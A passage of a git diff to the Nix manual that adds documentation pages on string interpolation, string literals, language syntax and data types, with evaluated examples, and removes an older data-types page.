escape it with two single quotes (`''`). + +> **Example** +> +> ```nix +> '' +> echo ''${PATH} +> '' +> ``` +> +> "echo ${PATH}\n" + +`$${` can be written literally in any string. + +> **Example** +> +> In Make, `$` in file names or recipes is represented as `$$`, see [GNU `make`: Basics of Variable Reference](https://www.gnu.org/software/make/manual/html_node/Reference.html#Basics-of-Variable-References). +> This can be expressed directly in the Nix language strings: +> +> ```nix +> '' +> MAKEVAR = Hello +> all: +> @export BASHVAR=world; echo $(MAKEVAR) $${BASHVAR} +> '' +> ``` +> +> "MAKEVAR = Hello\nall:\n\t@export BASHVAR=world; echo $(MAKEVAR) $\${BASHVAR}\n" + +See the [documentation on strings][string] for details. + +### Path + +Rather than writing + +```nix +./. + "/" + foo + "-" + bar + ".nix" +``` + +or + +```nix +./. + "/${foo}-${bar}.nix" +``` + +you can instead write + +```nix +./${foo}-${bar}.nix +``` + +### Attribute name + + + +Attribute names can be interpolated strings. + +> **Example** +> +> ```nix +> let name = "foo"; in +> { ${name} = 123; } +> ``` +> +> { foo = 123; } + +Attributes can be selected with interpolated strings. + +> **Example** +> +> ```nix +> let name = "foo"; in +> { foo = 123; }.${name} +> ``` +> +> 123 + +# Interpolated expression + +An expression that is interpolated must evaluate to one of the following: + +- a [string] +- a [path] +- an [attribute set] that has a `__toString` attribute or an `outPath` attribute + + - `__toString` must be a function that takes the attribute set itself and returns a string + - `outPath` must be a string + + This includes [derivations](./derivations.md) or [flake inputs](@docroot@/command-ref/new-cli/nix3-flake.md#flake-inputs) (experimental). + +A string interpolates to itself. + +A path in an interpolated expression is first copied into the Nix store, and the resulting string is the [store path] of the newly created [store object](@docroot@/store/store-object.md). + +[store path]: @docroot@/store/store-path.md + +> **Example** +> +> ```console +> $ mkdir foo +> ``` +> +> Reference the empty directory in an interpolated expression: +> +> ```nix +> "${./foo}" +> ``` +> +> "/nix/store/2hhl2nz5v0khbn06ys82nrk99aa1xxdw-foo" + +A derivation interpolates to the [store path] of its first [output](./derivations.md#attr-outputs). + +> **Example** +> +> ```nix +> let +> pkgs = import {}; +> in +> "${pkgs.hello}" +> ``` +> +> "/nix/store/4xpfqf29z4m8vbhrqcz064wfmb46w5r7-hello-2.12.1" + +An attribute set interpolates to the return value of the function in the `__toString` applied to the attribute set itself. + +> **Example** +> +> ```nix +> let +> a = { +> value = 1; +> __toString = self: toString (self.value + 1); +> }; +> in +> "${a}" +> ``` +> +> "2" + +An attribute set also interpolates to the value of its `outPath` attribute. + +> **Example** +> +> ```nix +> let +> a = { outPath = "foo"; }; +> in +> "${a}" +> ``` +> +> "foo" + +If both `__toString` and `outPath` are present in an attribute set, `__toString` takes precedence. + +> **Example** +> +> ```nix +> let +> a = { __toString = _: "yes"; outPath = throw "no"; }; +> in +> "${a}" +> ``` +> +> "yes" + +If neither is present, an error is thrown. + +> **Example** +> +> ```nix +> let +> a = {}; +> in +> "${a}" +> ``` +> +> error: cannot coerce a set to a string: { } +> +> at «string»:4:2: +> +> 3| in +> 4| "${a}" +> | ^ diff --git a/doc/manual/src/language/string-literals.md b/doc/manual/src/language/string-literals.md new file mode 100644 index 000000000..8f4b75f3e --- /dev/null +++ b/doc/manual/src/language/string-literals.md @@ -0,0 +1,190 @@ +# String literals + +A *string literal* represents a [string](types.md#type-string) value. + +> **Syntax** +> +> *expression* → *string* +> +> *string* → `"` ( *string_char*\* [*interpolation_element*][string interpolation] )* *string_char*\* `"` +> +> *string* → `''` ( *indented_string_char*\* [*interpolation_element*][string interpolation] )* *indented_string_char*\* `''` +> +> *string* → *uri* +> +> *string_char* ~ `[^"$\\]|\$(?!\{)|\\.` +> +> *indented_string_char* ~ `[^$']|\$\$|\$(?!\{)|''[$']|''\\.|'(?!')` +> +> *uri* ~ `[A-Za-z][+\-.0-9A-Za-z]*:[!$%&'*+,\-./0-9:=?@A-Z_a-z~]+` + +Strings can be written in three ways. + +The most common way is to enclose the string between double quotes, e.g., `"foo bar"`. +Strings can span multiple lines. +The results of other expressions can be included into a string by enclosing them in `${ }`, a feature known as [string interpolation]. + +[string interpolation]: ./string-interpolation.md + +The following must be escaped to represent them within a string, by prefixing with a backslash (`\`): + +- Double quote (`"`) + +> **Example** +> +> ```nix +> "\"" +> ``` +> +> "\"" + +- Backslash (`\`) + +> **Example** +> +> ```nix +> "\\" +> ``` +> +> "\\" + +- Dollar sign followed by an opening curly bracket (`${`) – "dollar-curly" + +> **Example** +> +> ```nix +> "\${" +> ``` +> +> "\${" + +The newline, carriage return, and tab characters can be written as `\n`, `\r` and `\t`, respectively. + +A "double-dollar-curly" (`$${`) can be written literally. + +> **Example** +> +> ```nix +> "$${" +> ``` +> +> "$\${" + +String values are output on the terminal with Nix-specific escaping. +Strings written to files will contain the characters encoded by the escaping. + +The second way to write string literals is as an *indented string*, which is enclosed between pairs of *double single-quotes* (`''`), like so: + +```nix +'' +This is the first line. +This is the second line. + This is the third line. +'' +``` + +This kind of string literal intelligently strips indentation from +the start of each line. To be precise, it strips from each line a +number of spaces equal to the minimal indentation of the string as a +whole (disregarding the indentation of empty lines). For instance, +the first and second line are indented two spaces, while the third +line is indented four spaces. Thus, two spaces are stripped from +each line, so the resulting string is + +```nix +"This is the first line.\nThis is the second line.\n This is the third line.\n" +``` + +> **Note** +> +> Whitespace and newline following the opening `''` is ignored if there is no non-whitespace text on the initial line. + +> **Warning** +> +> Prefixed tab characters are not stripped. +> +> > **Example** +> > +> > The following indented string is prefixed with tabs: +> > +> > 
''
+> > 	all:
+> > 		@echo hello
+> > ''
+> >
+> > +> > "\tall:\n\t\t@echo hello\n" + +Indented strings support [string interpolation]. + +The following must be escaped to represent them in an indented string: + +- `$` is escaped by prefixing it with two single quotes (`''`) + +> **Example** +> +> ```nix +> '' +> ''$ +> '' +> ``` +> +> "$\n" + +- `''` is escaped by prefixing it with one single quote (`'`) + +> **Example** +> +> ```nix +> '' +> ''' +> '' +> ``` +> +> "''\n" + +These special characters are escaped as follows: +- Linefeed (`\n`): `''\n` +- Carriage return (`\r`): `''\r` +- Tab (`\t`): `''\t` + +`''\` escapes any other character. + +A "double-dollar-curly" (`$${`) can be written literally. + +> **Example** +> +> ```nix +> '' +> $${ +> '' +> ``` +> +> "$\${\n" + +Indented strings are primarily useful in that they allow multi-line +string literals to follow the indentation of the enclosing Nix +expression, and that less escaping is typically necessary for +strings representing languages such as shell scripts and +configuration files because `''` is much less common than `"`. +Example: + +```nix +stdenv.mkDerivation { +... +postInstall = + '' + mkdir $out/bin $out/etc + cp foo $out/bin + echo "Hello World" > $out/etc/foo.conf + ${if enableBar then "cp bar $out/bin" else ""} + ''; +... +} +``` + +Finally, as a convenience, *URIs* as defined in appendix B of +[RFC 2396](http://www.ietf.org/rfc/rfc2396.txt) can be written *as +is*, without quotes. For instance, the string +`"http://example.org/foo.tar.bz2"` can also be written as +`http://example.org/foo.tar.bz2`. diff --git a/doc/manual/src/language/syntax.md b/doc/manual/src/language/syntax.md new file mode 100644 index 000000000..506afbea1 --- /dev/null +++ b/doc/manual/src/language/syntax.md @@ -0,0 +1,705 @@ +# Language Constructs + +This section covers syntax and semantics of the Nix language. + +## Basic Literals + +### String {#string-literal} + +See [String literals](string-literals.md). + +### Number {#number-literal} + + + + Numbers, which can be *integers* (like `123`) or *floating point* + (like `123.43` or `.27e13`). + + Integers in the Nix language are 64-bit [two's complement] signed integers, with a range of -9223372036854775808 to 9223372036854775807, inclusive. + + [two's complement]: https://en.wikipedia.org/wiki/Two%27s_complement + + Note that negative numeric literals are actually parsed as unary negation of positive numeric literals. + This means that the minimum integer `-9223372036854775808` cannot be written as-is as a literal, since the positive number `9223372036854775808` is one past the maximum range. + + See [arithmetic] and [comparison] operators for semantics. + + [arithmetic]: ./operators.md#arithmetic + [comparison]: ./operators.md#comparison + +### Path {#path-literal} + + *Paths* can be expressed by path literals such as `./builder.sh`. + + A path literal must contain at least one slash to be recognised as such. + For instance, `builder.sh` is not a path: + it's parsed as an expression that selects the attribute `sh` from the variable `builder`. + + Path literals are resolved relative to their [base directory](@docroot@/glossary.md#gloss-base-directory). + Path literals may also refer to absolute paths by starting with a slash. + + > **Note** + > + > Absolute paths make expressions less portable. + > In the case where a function translates a path literal into an absolute path string for a configuration file, it is recommended to write a string literal instead. + > This avoids some confusion about whether files at that location will be used during evaluation. + > It also avoids unintentional situations where some function might try to copy everything at the location into the store. + + If the first component of a path is a `~`, it is interpreted such that the rest of the path were relative to the user's home directory. + For example, `~/foo` would be equivalent to `/home/edolstra/foo` for a user whose home directory is `/home/edolstra`. + Path literals that start with `~` are not allowed in [pure](@docroot@/command-ref/conf-file.md#conf-pure-eval) evaluation. + + Path literals can also include [string interpolation], besides being [interpolated into other expressions]. + + [interpolated into other expressions]: ./string-interpolation.md#interpolated-expressions + + At least one slash (`/`) must appear *before* any interpolated expression for the result to be recognized as a path. + + `a.${foo}/b.${bar}` is a syntactically valid number division operation. + `./a.${foo}/b.${bar}` is a path. + + [Lookup path](./constructs/lookup-path.md) literals such as `` also resolve to path values. + +## List {#list-literal} + +Lists are formed by enclosing a whitespace-separated list of values +between square brackets. For example, + +```nix +[ 123 ./foo.nix "abc" (f { x = y; }) ] +``` + +defines a list of four elements, the last being the result of a call to +the function `f`. Note that function calls have to be enclosed in +parentheses. If they had been omitted, e.g., + +```nix +[ 123 ./foo.nix "abc" f { x = y; } ] +``` + +the result would be a list of five elements, the fourth one being a +function and the fifth being a set. + +Note that lists are only lazy in values, and they are strict in length. + +Elements in a list can be accessed using [`builtins.elemAt`](./builtins.md#builtins-elemAt). + +## Attribute Set {#attrs-literal} + +An attribute set is a collection of name-value-pairs called *attributes*. + +Attribute sets are written enclosed in curly brackets (`{ }`). +Attribute names and attribute values are separated by an equal sign (`=`). +Each value can be an arbitrary expression, terminated by a semicolon (`;`) + +An attribute name is a string without context, and is denoted by a [name] (an [identifier](./identifiers.md#identifiers) or [string literal](string-literals.md)). + +[name]: ./identifiers.md#names + +> **Syntax** +> +> *attrset* → `{` { *name* `=` *expr* `;` } `}` + +Attributes can appear in any order. +An attribute name may only occur once in each attribute set. + +> **Example** +> +> This defines an attribute set with attributes named: +> - `x` with the value `123`, an integer +> - `text` with the value `"Hello"`, a string +> - `y` where the value is the result of applying the function `f` to the attribute set `{ bla = 456; }` +> +> ```nix +> { +> x = 123; +> text = "Hello"; +> y = f { bla = 456; }; +> } +> ``` + +Attributes in nested attribute sets can be written using *attribute paths*. + +> **Syntax** +> +> *attrset* → `{` { *attrpath* `=` *expr* `;` } `}` + +An attribute path is a dot-separated list of [names][name]. + +> **Syntax** +> +> *attrpath* = *name* { `.` *name* } + + + +> **Example** +> +> ```nix +> { a.b.c = 1; a.b.d = 2; } +> ``` +> +> { +> a = { +> b = { +> c = 1; +> d = 2; +> }; +> }; +> } + +Attribute names can also be set implicitly by using the [`inherit` keyword](#inheriting-attributes). + +> **Example** +> +> ```nix +> { inherit (builtins) true; } +> ``` +> +> { true = true; } + +Attributes can be accessed with the [`.` operator](./operators.md#attribute-selection). + +Example: + +```nix +{ a = "Foo"; b = "Bar"; }.a +``` + +This evaluates to `"Foo"`. + +It is possible to provide a default value in an attribute selection using the `or` keyword. + +Example: + +```nix +{ a = "Foo"; b = "Bar"; }.c or "Xyzzy" +``` + +```nix +{ a = "Foo"; b = "Bar"; }.c.d.e.f.g or "Xyzzy" +``` + +will both evaluate to `"Xyzzy"` because there is no `c` attribute in the set. + +You can use arbitrary double-quoted strings as attribute names: + +```nix +{ "$!@#?" = 123; }."$!@#?" +``` + +```nix +let bar = "bar"; in +{ "foo ${bar}" = 123; }."foo ${bar}" +``` + +Both will evaluate to `123`. + +Attribute names support [string interpolation]: + +```nix +let bar = "foo"; in +{ foo = 123; }.${bar} +``` + +```nix +let bar = "foo"; in +{ ${bar} = 123; }.foo +``` + +Both will evaluate to `123`. + +In the special case where an attribute name inside of a set declaration +evaluates to `null` (which is normally an error, as `null` cannot be coerced to +a string), that attribute is simply not added to the set: + +```nix +{ ${if foo then "bar" else null} = true; } +``` + +This will evaluate to `{}` if `foo` evaluates to `false`. + +A set that has a [`__functor`]{#attr-__functor} attribute whose value is callable (i.e. is +itself a function or a set with a `__functor` attribute whose value is +callable) can be applied as if it were a function, with the set itself +passed in first , e.g., + +```nix +let add = { __functor = self: x: x + self.x; }; + inc = add // { x = 1; }; +in inc 1 +``` + +evaluates to `2`. This can be used to attach metadata to a function +without the caller needing to treat it specially, or to implement a form +of object-oriented programming, for example. + +## Recursive sets + +Recursive sets are like normal [attribute sets](./types.md#attribute-set), but the attributes can refer to each other. + +> *rec-attrset* = `rec {` [ *name* `=` *expr* `;` `]`... `}` + +Example: + +```nix +rec { + x = y; + y = 123; +}.x +``` + +This evaluates to `123`. + +Note that without `rec` the binding `x = y;` would +refer to the variable `y` in the surrounding scope, if one exists, and +would be invalid if no such variable exists. That is, in a normal +(non-recursive) set, attributes are not added to the lexical scope; in a +recursive set, they are. + +Recursive sets of course introduce the danger of infinite recursion. For +example, the expression + +```nix +rec { + x = y; + y = x; +}.x +``` + +will crash with an `infinite recursion encountered` error message. + +## Let-expressions + +A let-expression allows you to define local variables for an expression. + +> *let-in* = `let` [ *identifier* = *expr* ]... `in` *expr* + +Example: + +```nix +let + x = "foo"; + y = "bar"; +in x + y +``` + +This evaluates to `"foobar"`. + +## Inheriting attributes + +When defining an [attribute set](./types.md#attribute-set) or in a [let-expression](#let-expressions) it is often convenient to copy variables from the surrounding lexical scope (e.g., when you want to propagate attributes). +This can be shortened using the `inherit` keyword. + +Example: + +```nix +let x = 123; in +{ + inherit x; + y = 456; +} +``` + +is equivalent to + +```nix +let x = 123; in +{ + x = x; + y = 456; +} +``` + +and both evaluate to `{ x = 123; y = 456; }`. + +> **Note** +> +> This works because `x` is added to the lexical scope by the `let` construct. + +It is also possible to inherit attributes from another attribute set. + +Example: + +In this fragment from `all-packages.nix`, + +```nix +graphviz = (import ../tools/graphics/graphviz) { + inherit fetchurl stdenv libpng libjpeg expat x11 yacc; + inherit (xorg) libXaw; +}; + +xorg = { + libX11 = ...; + libXaw = ...; + ... +} + +libpng = ...; +libjpg = ...; +... +``` + +the set used in the function call to the function defined in +`../tools/graphics/graphviz` inherits a number of variables from the +surrounding scope (`fetchurl` ... `yacc`), but also inherits `libXaw` +(the X Athena Widgets) from the `xorg` set. + +Summarizing the fragment + +```nix +... +inherit x y z; +inherit (src-set) a b c; +... +``` + +is equivalent to + +```nix +... +x = x; y = y; z = z; +a = src-set.a; b = src-set.b; c = src-set.c; +... +``` + +when used while defining local variables in a let-expression or while +defining a set. + +In a `let` expression, `inherit` can be used to selectively bring specific attributes of a set into scope. For example + + +```nix +let + x = { a = 1; b = 2; }; + inherit (builtins) attrNames; +in +{ + names = attrNames x; +} +``` + +is equivalent to + +```nix +let + x = { a = 1; b = 2; }; +in +{ + names = builtins.attrNames x; +} +``` + +both evaluate to `{ names = [ "a" "b" ]; }`. + +## Functions + +Functions have the following form: + +```nix +pattern: body +``` + +The pattern specifies what the argument of the function must look like, +and binds variables in the body to (parts of) the argument. There are +three kinds of patterns: + + - If a pattern is a single identifier, then the function matches any + argument. Example: + + ```nix + let negate = x: !x; + concat = x: y: x + y; + in if negate true then concat "foo" "bar" else "" + ``` + + Note that `concat` is a function that takes one argument and returns + a function that takes another argument. This allows partial + parameterisation (i.e., only filling some of the arguments of a + function); e.g., + + ```nix + map (concat "foo") [ "bar" "bla" "abc" ] + ``` + + evaluates to `[ "foobar" "foobla" "fooabc" ]`. + + - A *set pattern* of the form `{ name1, name2, …, nameN }` matches a + set containing the listed attributes, and binds the values of those + attributes to variables in the function body. For example, the + function + + ```nix + { x, y, z }: z + y + x + ``` + + can only be called with a set containing exactly the attributes `x`, + `y` and `z`. No other attributes are allowed. If you want to allow + additional arguments, you can use an ellipsis (`...`): + + ```nix + { x, y, z, ... }: z + y + x + ``` + + This works on any set that contains at least the three named + attributes. + + It is possible to provide *default values* for attributes, in + which case they are allowed to be missing. A default value is + specified by writing `name ? e`, where *e* is an arbitrary + expression. For example, + + ```nix + { x, y ? "foo", z ? "bar" }: z + y + x + ``` + + specifies a function that only requires an attribute named `x`, but + optionally accepts `y` and `z`. + + - An `@`-pattern provides a means of referring to the whole value + being matched: + + ```nix + args@{ x, y, z, ... }: z + y + x + args.a + ``` + + but can also be written as: + + ```nix + { x, y, z, ... } @ args: z + y + x + args.a + ``` + + Here `args` is bound to the argument *as passed*, which is further + matched against the pattern `{ x, y, z, ... }`. + The `@`-pattern makes mainly sense with an ellipsis(`...`) as + you can access attribute names as `a`, using `args.a`, which was + given as an additional attribute to the function. + + > **Warning** + > + > `args@` binds the name `args` to the attribute set that is passed to the function. + > In particular, `args` does *not* include any default values specified with `?` in the function's set pattern. + > + > For instance + > + > ```nix + > let + > f = args@{ a ? 23, ... }: [ a args ]; + > in + > f {} + > ``` + > + > is equivalent to + > + > ```nix + > let + > f = args @ { ... }: [ (args.a or 23) args ]; + > in + > f {} + > ``` + > + > and both expressions will evaluate to: + > + > ```nix + > [ 23 {} ] + > ``` + +Note that functions do not have names. If you want to give them a name, +you can bind them to an attribute, e.g., + +```nix +let concat = { x, y }: x + y; +in concat { x = "foo"; y = "bar"; } +``` + +## Conditionals + +Conditionals look like this: + +```nix +if e1 then e2 else e3 +``` + +where *e1* is an expression that should evaluate to a Boolean value +(`true` or `false`). + +## Assertions + +Assertions are generally used to check that certain requirements on or +between features and dependencies hold. They look like this: + +```nix +assert e1; e2 +``` + +where *e1* is an expression that should evaluate to a Boolean value. If +it evaluates to `true`, *e2* is returned; otherwise expression +evaluation is aborted and a backtrace is printed. + +Here is a Nix expression for the Subversion package that shows how +assertions can be used:. + +```nix +{ localServer ? false +, httpServer ? false +, sslSupport ? false +, pythonBindings ? false +, javaSwigBindings ? false +, javahlBindings ? false +, stdenv, fetchurl +, openssl ? null, httpd ? null, db4 ? null, expat, swig ? null, j2sdk ? null +}: + +assert localServer -> db4 != null; ① +assert httpServer -> httpd != null && httpd.expat == expat; ② +assert sslSupport -> openssl != null && (httpServer -> httpd.openssl == openssl); ③ +assert pythonBindings -> swig != null && swig.pythonSupport; +assert javaSwigBindings -> swig != null && swig.javaSupport; +assert javahlBindings -> j2sdk != null; + +stdenv.mkDerivation { + name = "subversion-1.1.1"; + ... + openssl = if sslSupport then openssl else null; ④ + ... +} +``` + +The points of interest are: + +1. This assertion states that if Subversion is to have support for + local repositories, then Berkeley DB is needed. So if the Subversion + function is called with the `localServer` argument set to `true` but + the `db4` argument set to `null`, then the evaluation fails. + + Note that `->` is the [logical + implication](https://en.wikipedia.org/wiki/Truth_table#Logical_implication) + Boolean operation. + +2. This is a more subtle condition: if Subversion is built with Apache + (`httpServer`) support, then the Expat library (an XML library) used + by Subversion should be same as the one used by Apache. This is + because in this configuration Subversion code ends up being linked + with Apache code, and if the Expat libraries do not match, a build- + or runtime link error or incompatibility might occur. + +3. This assertion says that in order for Subversion to have SSL support + (so that it can access `https` URLs), an OpenSSL library must be + passed. Additionally, it says that *if* Apache support is enabled, + then Apache's OpenSSL should match Subversion's. (Note that if + Apache support is not enabled, we don't care about Apache's + OpenSSL.) + +4. The conditional here is not really related to assertions, but is + worth pointing out: it ensures that if SSL support is disabled, then + the Subversion derivation is not dependent on OpenSSL, even if a + non-`null` value was passed. This prevents an unnecessary rebuild of + Subversion if OpenSSL changes. + +## With-expressions + +A *with-expression*, + +```nix +with e1; e2 +``` + +introduces the set *e1* into the lexical scope of the expression *e2*. +For instance, + +```nix +let as = { x = "foo"; y = "bar"; }; +in with as; x + y +``` + +evaluates to `"foobar"` since the `with` adds the `x` and `y` attributes +of `as` to the lexical scope in the expression `x + y`. The most common +use of `with` is in conjunction with the `import` function. E.g., + +```nix +with (import ./definitions.nix); ... +``` + +makes all attributes defined in the file `definitions.nix` available as +if they were defined locally in a `let`-expression. + +The bindings introduced by `with` do not shadow bindings introduced by +other means, e.g. + +```nix +let a = 3; in with { a = 1; }; let a = 4; in with { a = 2; }; ... +``` + +establishes the same scope as + +```nix +let a = 1; in let a = 2; in let a = 3; in let a = 4; in ... +``` + +Variables coming from outer `with` expressions *are* shadowed: + +```nix +with { a = "outer"; }; +with { a = "inner"; }; +a +``` + +Does evaluate to `"inner"`. + +## Comments + +- Inline comments start with `#` and run until the end of the line. + + > **Example** + > + > ```nix + > # A number + > 2 # Equals 1 + 1 + > ``` + > + > ```console + > 2 + > ``` + +- Block comments start with `/*` and run until the next occurrence of `*/`. + + > **Example** + > + > ```nix + > /* + > Block comments + > can span multiple lines. + > */ "hello" + > ``` + > + > ```console + > "hello" + > ``` + + This means that block comments cannot be nested. + + > **Example** + > + > ```nix + > /* /* nope */ */ 1 + > ``` + > + > ```console + > error: syntax error, unexpected '*' + > + > at «string»:1:15: + > + > 1| /* /* nope */ * + > | ^ + > ``` + + Consider escaping nested comments and unescaping them in post-processing. + + > **Example** + > + > ```nix + > /* /* nested *\/ */ 1 + > ``` + > + > ```console + > 1 + > ``` diff --git a/doc/manual/src/language/types.md b/doc/manual/src/language/types.md new file mode 100644 index 000000000..82184a8b0 --- /dev/null +++ b/doc/manual/src/language/types.md @@ -0,0 +1,120 @@ +# Data Types + +Every value in the Nix language has one of the following types: + +* [Integer](#type-int) +* [Float](#type-float) +* [Boolean](#type-bool) +* [String](#type-string) +* [Path](#type-path) +* [Null](#type-null) +* [Attribute set](#type-attrs) +* [List](#type-list) +* [Function](#type-function) +* [External](#type-external) + +## Primitives + +### Integer {#type-int} + +An _integer_ in the Nix language is a signed 64-bit integer. + +Non-negative integers can be expressed as [integer literals](syntax.md#number-literal). +Negative integers are created with the [arithmetic negation operator](./operators.md#arithmetic). +The function [`builtins.isInt`](builtins.md#builtins-isInt) can be used to determine if a value is an integer. + +### Float {#type-float} + +A _float_ in the Nix language is a 64-bit [IEEE 754](https://en.wikipedia.org/wiki/IEEE_754) floating-point number. + +Most non-negative floats can be expressed as [float literals](syntax.md#number-literal). +Negative floats are created with the [arithmetic negation operator](./operators.md#arithmetic). +The function [`builtins.isFloat`](builtins.md#builtins-isFloat) can be used to determine if a value is a float. + +### Boolean {#type-bool} + +A _boolean_ in the Nix language is one of _true_ or _false_. + + + +These values are available as attributes of [`builtins`](builtins.md#builtins-builtins) as [`builtins.true`](builtins.md#builtins-true) and [`builtins.false`](builtins.md#builtins-false). +The function [`builtins.isBool`](builtins.md#builtins-isBool) can be used to determine if a value is a boolean. + +### String {#type-string} + +A _string_ in the Nix language is an immutable, finite-length sequence of bytes, along with a [string context](string-context.md). +Nix does not assume or support working natively with character encodings. + +String values without string context can be expressed as [string literals](string-literals.md). +The function [`builtins.isString`](builtins.md#builtins-isString) can be used to determine if a value is a string. + +### Path {#type-path} + +A _path_ in the Nix language is an immutable, finite-length sequence of bytes starting with `/`, representing a POSIX-style, canonical file system path. +Path values are distinct from string values, even if they contain the same sequence of bytes. +Operations that produce paths will simplify the result as the standard C function [`realpath`] would, except that there is no symbolic link resolution. + +[`realpath`]: https://pubs.opengroup.org/onlinepubs/9699919799/functions/realpath.html + +Paths are suitable for referring to local files, and are often preferable over strings. +- Path values do not contain trailing or duplicate slashes, `.`, or `..`. +- Relative path literals are automatically resolved relative to their [base directory]. +- Tooling can recognize path literals and provide additional features, such as autocompletion, refactoring automation and jump-to-file. + +[base directory]: @docroot@/glossary.md#gloss-base-directory + +A file is not required to exist at a given path in order for that path value to be valid, but a path that is converted to a string with [string interpolation] or [string-and-path concatenation] must resolve to a readable file or directory which will be copied into the Nix store. +For instance, evaluating `"${./foo.txt}"` will cause `foo.txt` from the same directory to be copied into the Nix store and result in the string `"/nix/store/-foo.txt"`. +Operations such as [`import`] can also expect a path to resolve to a readable file or directory. + +[string interpolation]: string-interpolation.md#interpolated-expression +[string-and-path concatenation]: operators.md#string-and-path-concatenation +[`import`]: builtins.md#builtins-import + +> **Note** +> +> The Nix language assumes that all input files will remain _unchanged_ while evaluating a Nix expression. +> For example, assume you used a file path in an interpolated string during a `nix repl` session. +> Later in the same session, after having changed the file contents, evaluating the interpolated string with the file path again might not return a new [store path], since Nix might not re-read the file contents. +> Use `:r` to reset the repl as needed. + +[store path]: @docroot@/store/store-path.md + +Path values can be expressed as [path literals](syntax.md#path-literal). +The function [`builtins.isPath`](builtins.md#builtins-isPath) can be used to determine if a value is a path. + +### Null {#type-null} + +There is a single value of type _null_ in the Nix language. + + + +This value is available as an attribute on the [`builtins`](builtins.md#builtins-builtins) attribute set as [`builtins.null`](builtins.md#builtins-null). + +## Compound values + +### Attribute set {#type-attrs} + + + +An attribute set can be constructed with an [attribute set literal](syntax.md#attrs-literal). +The function [`builtins.isAttrs`](builtins.md#builtins-isAttrs) can be used to determine if a value is an attribute set. + +### List {#type-list} + + + +A list can be constructed with a [list literal](syntax.md#list-literal). +The function [`builtins.isList`](builtins.md#builtins-isList) can be used to determine if a value is a list. + +## Function {#type-function} + + + +A function can be constructed with a [function expression](syntax.md#functions). +The function [`builtins.isFunction`](builtins.md#builtins-isFunction) can be used to determine if a value is a function. + +## External {#type-external} + +An _external_ value is an opaque value created by a Nix [plugin](../command-ref/conf-file.md#conf-plugin-files). +Such a value can be substituted in Nix expressions but only created and used by plugin code. diff --git a/doc/manual/src/language/values.md b/doc/manual/src/language/values.md deleted file mode 100644 index 6fc8c0369..000000000 --- a/doc/manual/src/language/values.md +++ /dev/null @@ -1,275 +0,0 @@ -# Data Types - -## Primitives - -- String - - *Strings* can be written in three ways. - - The most common way is to enclose the string between double quotes, - e.g., `"foo bar"`. Strings can span multiple lines. The special - characters `"` and `\` and the character sequence `${` must be - escaped by prefixing them with a backslash (`\`). Newlines, carriage - returns and tabs can be written as `\n`, `\r` and `\t`, - respectively. - - You can include the result of an expression into a string by - enclosing it in `${...}`, a feature known as *antiquotation*. The - enclosed expression must evaluate to something that can be coerced - into a string (meaning that it must be a string, a path, or a - derivation). For instance, rather than writing - - ```nix - "--with-freetype2-library=" + freetype + "/lib" - ``` - - (where `freetype` is a derivation), you can instead write the more - natural - - ```nix - "--with-freetype2-library=${freetype}/lib" - ``` - - The latter is automatically translated to the former. A more - complicated example (from the Nix expression for - [Qt](http://www.trolltech.com/products/qt)): - - ```nix - configureFlags = " - -system-zlib -system-libpng -system-libjpeg - ${if openglSupport then "-dlopen-opengl - -L${mesa}/lib -I${mesa}/include - -L${libXmu}/lib -I${libXmu}/include" else ""} - ${if threadSupport then "-thread" else "-no-thread"} - "; - ``` - - Note that Nix expressions and strings can be arbitrarily nested; in - this case the outer string contains various antiquotations that - themselves contain strings (e.g., `"-thread"`), some of which in - turn contain expressions (e.g., `${mesa}`). - - The second way to write string literals is as an *indented string*, - which is enclosed between pairs of *double single-quotes*, like so: - - ```nix - '' - This is the first line. - This is the second line. - This is the third line. - '' - ``` - - This kind of string literal intelligently strips indentation from - the start of each line. To be precise, it strips from each line a - number of spaces equal to the minimal indentation of the string as a - whole (disregarding the indentation of empty lines). For instance, - the first and second line are indented two spaces, while the third - line is indented four spaces. Thus, two spaces are stripped from - each line, so the resulting string is - - ```nix - "This is the first line.\nThis is the second line.\n This is the third line.\n" - ``` - - Note that the whitespace and newline following the opening `''` is - ignored if there is no non-whitespace text on the initial line. - - Antiquotation (`${expr}`) is supported in indented strings. - - Since `${` and `''` have special meaning in indented strings, you - need a way to quote them. `$` can be escaped by prefixing it with - `''` (that is, two single quotes), i.e., `''$`. `''` can be escaped - by prefixing it with `'`, i.e., `'''`. `$` removes any special - meaning from the following `$`. Linefeed, carriage-return and tab - characters can be written as `''\n`, `''\r`, `''\t`, and `''\` - escapes any other character. - - Indented strings are primarily useful in that they allow multi-line - string literals to follow the indentation of the enclosing Nix - expression, and that less escaping is typically necessary for - strings representing languages such as shell scripts and - configuration files because `''` is much less common than `"`. - Example: - - ```nix - stdenv.mkDerivation { - ... - postInstall = - '' - mkdir $out/bin $out/etc - cp foo $out/bin - echo "Hello World" > $out/etc/foo.conf - ${if enableBar then "cp bar $out/bin" else ""} - ''; - ... - } - ``` - - Finally, as a convenience, *URIs* as defined in appendix B of - [RFC 2396](http://www.ietf.org/rfc/rfc2396.txt) can be written *as - is*, without quotes. For instance, the string - `"http://example.org/foo.tar.bz2"` can also be written as - `http://example.org/foo.tar.bz2`. - -- Number - - Numbers, which can be *integers* (like `123`) or *floating point* - (like `123.43` or `.27e13`). - - Numbers are type-compatible: pure integer operations will always - return integers, whereas any operation involving at least one - floating point number will have a floating point number as a result. - -- Path - - *Paths*, e.g., `/bin/sh` or `./builder.sh`. A path must contain at - least one slash to be recognised as such. For instance, `builder.sh` - is not a path: it's parsed as an expression that selects the - attribute `sh` from the variable `builder`. If the file name is - relative, i.e., if it does not begin with a slash, it is made - absolute at parse time relative to the directory of the Nix - expression that contained it. For instance, if a Nix expression in - `/foo/bar/bla.nix` refers to `../xyzzy/fnord.nix`, the absolute path - is `/foo/xyzzy/fnord.nix`. - - If the first component of a path is a `~`, it is interpreted as if - the rest of the path were relative to the user's home directory. - e.g. `~/foo` would be equivalent to `/home/edolstra/foo` for a user - whose home directory is `/home/edolstra`. - - Paths can also be specified between angle brackets, e.g. - ``. This means that the directories listed in the - environment variable `NIX_PATH` will be searched for the given file - or directory name. - - Antiquotation is supported in any paths except those in angle brackets. - `./${foo}-${bar}.nix` is a more convenient way of writing - `./. + "/" + foo + "-" + bar + ".nix"` or `./. + "/${foo}-${bar}.nix"`. At - least one slash must appear *before* any antiquotations for this to be - recognized as a path. `a.${foo}/b.${bar}` is a syntactically valid division - operation. `./a.${foo}/b.${bar}` is a path. - - When a path appears in an antiquotation, and is thus coerced into a string, - the path is first copied into the Nix store and the resulting string is - the Nix store path. For instance `"${./foo.txt}" will cause `foo.txt` in - the current directory to be copied into the Nix store and result in the - string 